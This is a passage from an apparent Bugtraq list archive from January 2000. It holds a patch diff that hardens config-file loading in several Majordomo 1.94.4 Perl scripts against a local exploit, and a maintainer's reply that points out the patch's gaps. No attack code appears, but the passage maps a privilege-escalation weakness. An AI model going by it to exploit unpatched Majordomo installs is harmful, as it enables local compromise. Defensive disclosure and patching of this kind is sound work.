close CONFIG; +} # Go to the home directory specified by the .cf file chdir("$homedir"); --- config-test Mon Jan 3 14:35:32 2000 +++ config-test.new Mon Jan 3 14:58:05 2000 @@ -119,10 +119,21 @@ $cf = $ARGV[0] || $ENV{'MAJORDOMO_CF'}; -if (eval "require '$cf'") { - &good("'require'd $cf okay."); -} else { - &bad("something's wrong with $cf: $@"); +if (not sysopen CONFIG,$cf,O_RDONLY) +{ + die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ": $!" : ''; +} +elsif ((stat CONFIG)[4] != $>) +{ + die qq|Config file "$cf" not owned by effective UID.\n|; +} +elsif (eval(join '',<CONFIG>),$@) +{ + die qq|Unable to eval "$cf": $@.\n|; +} +else +{ + close CONFIG; } foreach (@requires) { --- digest Mon Jan 3 14:35:32 2000 +++ digest.new Mon Jan 3 15:07:34 2000 @@ -315,7 +315,23 @@ # Read and execute the .cf file $cf = $opt_c || $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; - require "$cf"; + +if (not sysopen CONFIG,$cf,O_RDONLY) +{ + die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ": $!" : ''; +} +elsif ((stat CONFIG)[4] != $>) +{ + die qq|Config file "$cf" not owned by effective UID.\n|; +} +elsif (eval(join '',<CONFIG>),$@) +{ + die qq|Unable to eval "$cf": $@.\n|; +} +else +{ + close CONFIG; +} chdir($homedir); --- majordomo Mon Jan 3 13:37:13 2000 +++ majordomo.new Mon Jan 3 14:15:29 2000 @@ -40,11 +40,23 @@ die "Unknown argument $ARGV[0]\n"; } } -if (! -r $cf) { - die("$cf not readable; stopped"); -} -require "$cf"; +if (not sysopen CONFIG,$cf,O_RDONLY) +{ + die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ": $!" : ''; +} +elsif ((stat CONFIG)[4] != $>) +{ + die qq|Config file "$cf" not owned by effective UID.\n|; +} +elsif (eval(join '',<CONFIG>),$@) +{ + die qq|Unable to eval "$cf": $@.\n|; +} +else +{ + close CONFIG; +} # Go to the home directory specified by the .cf file chdir("$homedir") || die "chdir to $homedir failed, $!\n"; --- request-answer Mon Jan 3 14:35:32 2000 +++ request-answer.new Mon Jan 3 15:09:02 2000 @@ -20,10 +20,23 @@ shift(@ARGV); shift(@ARGV); } -if (! -r $cf) { - die("$cf not readable; stopped"); + +if (not sysopen CONFIG,$cf,O_RDONLY) +{ + die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ": $!" : ''; } -require "$cf"; +elsif ((stat CONFIG)[4] != $>) +{ + die qq|Config file "$cf" not owned by effective UID.\n|; +} +elsif (eval(join '',<CONFIG>),$@) +{ + die qq|Unable to eval "$cf": $@.\n|; +} +else +{ + close CONFIG; +} chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); unshift(@INC, $homedir); --- resend Mon Jan 3 15:14:49 2000 +++ resend.new Mon Jan 3 15:16:01 2000 @@ -56,7 +56,7 @@ if ($ARGV[0] =~ /^\@/) { $fn = shift(@ARGV); $fn =~ s/^@//; - open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped"); + sysopen(AV, $fn, O_RDONLY) || die("sysopen(AV, \"$fn\", O_RDONLY): $!\nStopped"); undef($/); # set input field separator $av = <AV>; # read whole file into string close(AV); @@ -84,11 +84,23 @@ # Despite not having a place to send the remains of the body, # it would be nice to send a message to root or postmaster, at least... # -if (! -r $cf) { - die("$cf not readable; stopped"); -} -require "$cf"; +if (not sysopen CONFIG,$cf,O_RDONLY) +{ + die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ": $!" : ''; +} +elsif ((stat CONFIG)[4] != $>) +{ + die qq|Config file "$cf" not owned by effective UID.\n|; +} +elsif (eval(join '',<CONFIG>),$@) +{ + die qq|Unable to eval "$cf": $@.\n|; +} +else +{ + close CONFIG; +} chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); (4639854) ------------------------------------------(Ombruten) 4651300 2000-01-07 19:22 /33 rader/ Postmaster Mottagare: Bugtraq (import) <9217> Ärende: Re: majordomo local exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 991025(IM133) Message-ID: <20000107162732N.cwilson@unknown-domain> Date: Fri, 7 Jan 2000 16:27:32 +0100 Reply-To: Chan Wilson <cwilson@NEU.SGI.COM> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Chan Wilson <cwilson@NEU.SGI.COM> X-To: bugtraq@securityfocus.com X-cc: cwilson@dust.corp.sgi.com To: BUGTRAQ@SECURITYFOCUS.COM > The following patch, built upon code and suggestions submitted by > Henrik Edlund, Henrik Nordstrom, and Andrew Brown, is intended to render > safe the config file requires, in the seven scripts which use them, in > the Majordomo 1.94.4 home directory. It also incorporates Todd Miller's > patch of Dec. 29. This doesn't address the problem on Unixen that allow one to 'give away' files. Nor is it compatible with the philosophy that majordomo 1.x should continue to run under perl4. The proper fix appears to be simply 'chmod 0750 wrapper', perhaps along with setting the group owner of wrapper to the same as the MTA. And, of course, restricting access to the majordomo server. --Chan majordomo maintainer. (4651300) ------------------------------------------